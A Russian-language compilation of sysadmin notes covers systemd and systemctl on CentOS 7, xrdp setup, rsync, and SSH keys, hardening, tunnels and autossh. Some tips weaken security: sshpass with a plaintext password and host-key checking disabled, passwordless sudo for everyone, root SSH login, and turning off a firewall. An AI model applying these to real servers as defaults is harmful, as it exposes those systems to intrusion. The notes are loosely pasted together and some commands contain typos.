https://askubuntu.com/questions/137655/boot-drops-to-a-initramfs-prompts-busybox)
https://serverfault.com/questions/375090/using-fsck-to-check-and-repair-luks-encrypted-disk

Systemd – менеджер системы и сервисов в операционной системе Linux. При разработке eго стремились спроектировать обратно совместимым со скриптами инициализации SysV init и предоставить полезные функции, такие, как параллельный запуск системных сервисов во время загрузки, активацию демонов по требованию, поддержку снепшотов состояния системы и логику управления сервисами, основанную на зависимостях. В CentOS 7 systemd заменяет Upstart как систему инициализации по умолчанию.


В этой статье мы рассмотрим процесс управления сервисами в systemd для пользователя CentOS 7. Эти знания будут полезны и в других дистрибутивах, ведь systemd уже давно используется в Fedora и планируется в Ubuntu 14.10 и Debian 8. Хорошо это или нет — оставим за кадром.



CentOS 7 Systemd Infobox

В процессе чтения статьи вы можете попробовать systemd на классических VPS и облачных VPS от Infobox. Мы стремимся своевременно добавлять поддержку современных ОС, чтобы вы могли использовать последние технологии для более эффективной работы. Сама идея написания статьи родилась после очередного вопроса пользователей об использовании сервисов в CentOS 7. Типичный вопрос: «Как добавить мой сервис в автозагрузку CentOS 7?». На этот и другие вопросы постараемся дать ответ в этой статье.



Введение

Systemd приносит концепцию юнитов systemd. Юниты представлены конфигурационными файлами, размещенными в одной из директорий:

  • /usr/lib/systemd/system/ – юниты из установленных пакетов RPM.
  • /run/systemd/system/ — юниты, созданные в рантайме. Этот каталог приоритетнее каталога с установленными юнитами из пакетов.
  • /etc/systemd/system/ — юниты, созданные и управляемые системным администратором. Этот каталог приоритетнее каталога юнитов, созданных в рантайме.


Юниты содержат информацию о системных сервисах, прослушиваемых сокетах, сохраненных снапшотах состояний системы и других обьектах, относящихся к системе инициализации.



Типы юнитов systemd:

  • .service – системный сервис
  • .target — группа юнитов systemd
  • .automount – точка автомонтирования файловой системы
  • .device – файл устройства, распознанного ядром
  • .mount – точка монтирования файловой системы
  • .path – файл или директория в файловой системе
  • .scope – процесс, созданный извне
  • .slice – группа иерархически организованных юнитов, управляющая системными процессами
  • .snapshot – сохраненное состояние менеджера systemd
  • .socket – сокет межпроцессного взаимодействия
  • .swap – Свап-устройство или свап-файл (файл подкачки)
  • .timer – таймер systemd


Основные функции systemd в CentOS 7

  • Активация, основанная на сокетах. Во время загрузки systemd прослушивает сокеты для всех системных сервисов, поддерживает этот тип активации и передает сокеты этим сервисам сразу после старта сервисов. Это позволяет systemd не только запускать сервисы параллельно, но также дает возможность перезапускать сервисы без потери любых отправленных им сообщений, пока сервисы были недоступны. Соответствующий сокет остается доступным и все сообщения выстраиваются в очередь.
  • Активация, основанная на D-Bus. Системные сервисы, использующие D–Bus для межпроцессного взаимодействия, могут быть запущены по требованию, когда клиентское приложение пытается связаться с ними.
  • Активация, основанная на девайсах. Системные сервисы, поддерживающие активацию, основанную на девайсах, могут быть запущены, когда определенный тип оборудования подключается или становится доступным.
  • Активация, основанная на путях. Системные сервисы могут поддерживать этот вид активации, если изменяется состояние папки или директории.
  • Снепшоты системных состояний. Система может сохранять состояние всех юнитов и восстанавливать предыдущее состояние системы.
  • Управление точками монтирования и автомонтирования. Systemd отслеживает и управляет точками монтирования и автомонтирования.
  • Агрессивная параллелизация Systemd запускает системные сервисы параллельно из-за использования активации, основанной на сокетах. В комбинации с сервисами, поддерживающими активацию по требованию, параллельная активация значительно уменьшает время загрузки системы.
  • Транзакционная логика активации юнитов. До активации и деактивации юнитов systemd вычисляет их зависимости, создает временную транзакцию и проверяет целостность этой транзакции. Если транзакция нецелостная, systemd автоматически пытается исправить ее и удалить не требующиеся задания из нее до формирования сообщения об ошибке.
  • Обратная совместимость с инициализацией SysV. SystemD полностью поддерживает скрипты инициализации SysV, как описано в спецификации Linux Standard Base (LSB), что упрощает переход на systemd.


Управление сервисами

В предыдущих версиях CentOS использовалась SysV или Upstart. Скрипты инициализации располагались в директории /etc/rc.d/init.d/. Такие скрипты обычно писались на Bash и позволяли администратору управлять состоянием сервисов и демонов. В CentOS 7 скрипты инициализации были заменены сервисными юнитами.



По способу использования сервисные юниты .service напоминают скрипты инициализации. Для просмотра, старта, остановки, перезагрузки, включения или выключения системных сервисов используется команда systemctl. Команды service и chkconfig по-прежнему включены в систему, но только по соображениям совместимости.





При использовании systemctl указывать расширение файла не обязательно.



Ниже представлены основные команды systemctl:

  • systemctl start name.service – запуск сервиса.
  • systemctl stop name.service — остановка сервиса
  • systemctl restart name.service — перезапуск сервиса
  • systemctl try-restart name.service — перезапуск сервиса только, если он запущен
  • systemctl reload name.service — перезагрузка конфигурации сервиса
  • systemctl status name.service — проверка, запущен ли сервис с детальным выводом состояния сервиса
  • systemctl is-active name.service — проверка, запущен ли сервис с простым ответом: active или inactive
  • systemctl list-units --type service --all – отображение статуса всех сервисов
  • systemctl enable name.service – активирует сервис (позволяет стартовать во время запуска системы)
  • systemctl disable name.service – деактивирует сервис
  • systemctl reenable name.service – деактивирует сервис и сразу активирует его
  • systemctl is–enabled name.service – проверяет, активирован ли сервис
  • systemctl list-unit-files --type service – отображает все сервисы и проверяет, какие из них активированы
  • systemctl mask name.service – заменяет файл сервиса симлинком на /dev/null, делая юнит недоступным для systemd
  • systemctl unmask name.service – возвращает файл сервиса, делая юнит доступным для systemd


Работаем с целями (targets) Systemd

Предыдущие версии CentOS с SysV init или Upstart включали предопределенный набор уровней запуска (runlevels), которые представляли специфичные режимы для операций, пронумерованные от 0 до 6. В CentOS 7 концепция уровней запуска была заменена целями systemd.



Файлы целей systemd .target предназначены для группировки вместе других юнитов systemd через цепочку зависимостей. Например юнит graphical.target, использующийся для старта графической сессии, запускает системные сервисы GNOME Display Manager (gdm.service) и Accounts Service (accounts–daemon.service) и активирует multi–user.target. В свою очередь multi–user.target запускает другие системные сервисы, такие как Network Manager (NetworkManager.service) или D-Bus (dbus.service) и активирует другие целевые юниты basic.target.



В CentOS 7 присутствуют предопределенные цели, похожие на стандартный набор уровней запуска. По соображениям совместимости они также имеют алиасы на эти цели, которые напрямую отображаются в уровнях запуска SysV.



  • poweroff.target (runlevel0.target) – завершение работы и отключение системы
  • rescue.target (runlevel1.target) – настройка оболочки восстановления
  • multi–user.target (runlevel2.target, runlevel3.target, runlevel4.target) – настройка неграфической многопользовательской системы
  • graphical.target (runlevel5.target) – настройка графической многопользовательской системы
  • reboot.target (runlevel6.target) – выключение и перезагрузка системы


Команды runlevel и telinit по-прежнему доступны, но оставлены в системе по соображениям совместимости. Рекомендуется использовать systemctl для изменения или настройки системных целей.



Для определения, какой целевой юнит используется по умолчанию, полезна следующая команда: systemctl get–default.



Для просмотра всех загруженных целевых юнитов воспользуйтесь командой systemctl list-units --type target, а для просмотра вообще всех целевых юнитов командой: systemctl list-units --type target --all.



Для изменения цели по умолчанию поможет команда systemctl set-default name.target.



Для изменения текущей цели: systemctl isolate name.target. Команда запустит целевой юнит и все его зависимости и немедленно остановит все остальные.



Выключение и перезагрузка системы

В CentOS 7 systemctl заменяет значительное количество команд управления питанием. Прежние команды сохранены для совместимости, но рекомандуется использовать systemctl:

systemctl halt – останавливает систему

systemctl poweroff – выключает систему

systemctl reboot – перезагружает систему



Управление systemd на удаленной машине

Systemd позволяет управлять удаленной машиной по SSH. Для управления используйте команду:

systemctl --host user_name@host_name command, где user_name – имя пользователя, host_name – имя хоста, которым осуществляется удаленное управление, а command – выполняемая команда systemd.



Типичный systemd .service

Этот раздел поможет вам, если вам необходимо быстро сделать поддержку управления сервисом из systemd. Подробная информация о всех параметрах файла .service есть в соответствующем разделе документации по systemd.



[Unit]
Description=Daemon to detect crashing apps
After=syslog.target

[Service]
ExecStart=/usr/sbin/abrtd
Type=forking

[Install]
WantedBy=multi-user.target


Давайте посмотрим на секцию [Unit]. Она содержит общую информацию о сервисе. Такая секция есть не только в сервис-юнитах, но и в других юнитах (например при управлении устройствами, точками монтирования и т.д.). В нашем примере мы даем описание сервиса и указываем на то, что демон должен быть запущен после Syslog.



В следующей секции [Service] непосредственно содержится информация о нашем сервисе. Используемый параметр ExecStart указывает на исполняемый файл нашего сервиса. В Type мы указываем, как сервис уведомляет systemd об окончании запуска.



Финальная секция [Install] содержит информацию о цели, в которой сервис должен стартовать. В данном случае мы говорим, что сервис должен быть запущен, когда будет активирована цель multi–user.target.



Это минимальный работающий файл сервиса systemd. Написав свой, для тестирования скопируйте его в /etc/systemd/system/имя_сервиса.service. Выполните команды systemctl daemon-reload. Systemd узнает о сервисе и вы сможете его запустить.



Дополнительная информация

Отличное руководство по systemd от RedHat, положенное в основу этой статьи.

Документация по написанию своего сервис-юнита systemd.

«Systemd для администраторов» от разработчика systemd на русском языке.

#############################################################################


пример юнита пользовательского скрипта

nano /etc/systemd/system/start-unicor1.service



после каждого редактирования юнита необходимо делать systemctl daemon-reload
проверка через запуск
systemctl start start-unicor1.servic

остановка
systemctl start start-unicor1.servic

сам скрипт для юнита



скрипт запускающий рельсы без юнитов



вариант запуска по cron
@reboot /home/user1/start_unicor.sh




поскольку ruby установлен локально в домашнюю папку, то требуется инициализация source /home/user1/.profile и тд.

Как передать переменные окружения службе, запущенной systemd?
[Service]
Environment=KEY=VALUE
или так
EnvironmentFile=/path/to/env

Для нескольких значений env
Environment=KEY=VALUE
Environment=KEY2=VALUE2 KEY3=VALUE3


Поднимаем на одном сервере несколько Ruby on Rails проектов под разными версиями ruby (Nginx + Unicorn)
установка и защита redis в centos 7
Systemd за пять минут
Пишем systemd Unit файл





https://infoboxcloud.ru/community/blog/infoboxcloud/201.html



развернуть
В этой статье мы рассмотрим установку xrdp на CentOS 7.
Для пущего интереса, давайте мы это рассмотрим с такой точки зрения: вы поставили CentOS в его минимальном варианте установки (minimal install), без компонентов рабочего стола и прочих утилит и вам понадобилось этот самый рабочий стол завести, и предоставить к нему доступ по rdp. Поэтому мы рассмотрим весь процесс самого начала.


GNOME


А сначала нам нужно установить компоненты рабочего стола — а именно GNOME. Сделать это можно следующим образом.


Получим список групп доступного для установки программного обеспечения


yum grouplist

или так


yum groups list

Среди текста вывода команд мы увидим строку «GNOME Desktop»

Она то нам и нужна.

Запустить установку мы можем одной из следующих команд


yum groupinstall "GNOME Desktop"

или


yum groups install "GNOME Desktop"

Это что касается рабочей станции. Если же вы устанавливаете GNOME на систему, выполняющую серверные функции, то лучше воспользоваться одной из следующих команд


yum groupinstall "Server with GUI"

или


yum groups install "Server with GUI"

После этого нам нужно указать, чтобы по умолчанию система загружалась в графический режим.


systemctl set-default graphical.target

Для того, чтобы активировать его без перезагрузки


systemctl start graphical.target

xrdp


Теперь перейдем к xrdp.

Сначала добавим нужный нам репозиторий. А понадобится нам EPEL — Extra Packages for Enterprise Linux. Найти ссылку на его текущую версию мы можем, заглянув по адресу http://download.fedoraproject.org/pub/epel.


В моем случае команды будут выглядеть следующим образом


wget http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm
rpm -ivh epel-release-7-6.noarch.rpm

Еще одним вариантом, и соответственно, с тем же результатом, будет следующая команда, которая представляет из себя объединение двух предыдущих строк


rpm -ivh http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm

Теперь, если мы введем команду


yum repolist

в списке вывода мы должны увидеть нечто подобное


epel/x86_64   Extra Packages for Enterprise Linux 7 - x86_64   10,042

Далее нам нужно установить xrdp.


yum install xrdp

Если после этого мы попытаемся запустить xrdp, то это у нас скорее всего не получится, а в логах (команда journalctl -xe) мы увидим сообщения «Failed at step EXEC spawning /usr/sbin/xrdp-sesman: Permission denied» и «Failed at step EXEC spawning /usr/sbin/xrdp: Permission denied».

Чтобы все-таки их запустить, нам нужно изменить контекст безопасности SELinux для этих двух файлов.


chcon -t bin_t /usr/sbin/xrdp
chcon -t bin_t /usr/sbin/xrdp-sesman

Запустить xrdp можно командой


systemctl start xrdp

а проверить, запустился ли он


systemctl status xrdp

Чтобы xrdp запускался каждый раз при старте системы


systemctl enable xrdp

Для подтверждения того, что он ожидает подключений на полагающемся ему порту 3389 можно ввести следующую команду


netstat -antup | grep xrdp

Firewall


Если на вашей системе активен межсетевой экран, потребуется разрешить прохождение трафика на порт 3389. Сделать это можно следующими командами


firewall-cmd --permanent --zone=public --add-port=3389/tcp
firewall-cmd --reload

Теперь можно попробовать подключиться к системе при помощи rdp-клиента, например, Microsoft Remote Desktop Connection.



https://sergeyvasin.net/2016/05/13/xrdp-centos/
установка сервера терминалов XRDP на Debian 9.



развернуть
список основных опций rsync:

-a, сохранять права доступа и информация о владельцах, включает опции -rlptgoD;
-r, копировать каталоги рекурсивно;
-l, копировать символические ссылки, не обращаться к файлам;
-p, сохранять прав доступа к файлам;
-t, сохранять время модификации файлов;
-g, -o, сохранять владельца и группы файла;
-D, охранять файлы устройств и специальных файлов;
-u, режим обновления, не синхронизировать файлы имеющие более позднюю дату модификации, чем в источнике;
-v, отображать имена копируемых файлов;
-q, не отображать сообщения об ошибках;
-z, сжимать данные;
-P, отображать прогресс копирования;
-с, проверка файлов по контрольной сумме;
--ignore-errors, игнорировать ошибки;
--max-delete, максимальное число удаляемых за один раз файлов и каталогов;
--files-from=FILE, указать список файлов и директорий для копирования;
-e ssh, использование при копировании SSH;
--bwlimit=KBPS, ограничение скорости передач данных.

наиболее наиболее часто используемые rsync примеры синхронизации файлов.

Используем rsync по SSH для синхронизации двух директорий или файлов:
rsync -zavP /source root@1.1.1.1:/backup

Можно синхронизировать сразу два каталога или файла:
rsync -zavP /source /source2 root@1.1.1.1:/backup

Копировать файлы с удаленного сервера на локальный:
rsync -zavP root@1.1.1.1:/backup /source

Использовать rsync по SSH с нестандартным портом:
rsync -zavP '-e ssh -p 12345' /source root@1.1.1.1:/backup

https://codebeer.ru/rsync-ssh-sinhronizaciya-fajlov-v-linux/
https://serveradmin.ru/rsync-nastroyka-bekapa-na-centos-debian-ubuntu/



установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh
http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу
Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys



Настройка входа через SSH без пароля
На локальной машине (с которой заходим):
ssh-keygen -t rsa

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):





советы по безопасности
Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ
thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH
Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.


Xpra выполнение графических приложений без привязки к текущему X-сеансу
http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth


Долгое Подключение по SSH — Убираем Задержку
Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall


ошибки при подключении
если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address


https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт


SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

autossh
Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием



Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel


https://github.com/aktos-io/link-with-server

ssh proxy via host
Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
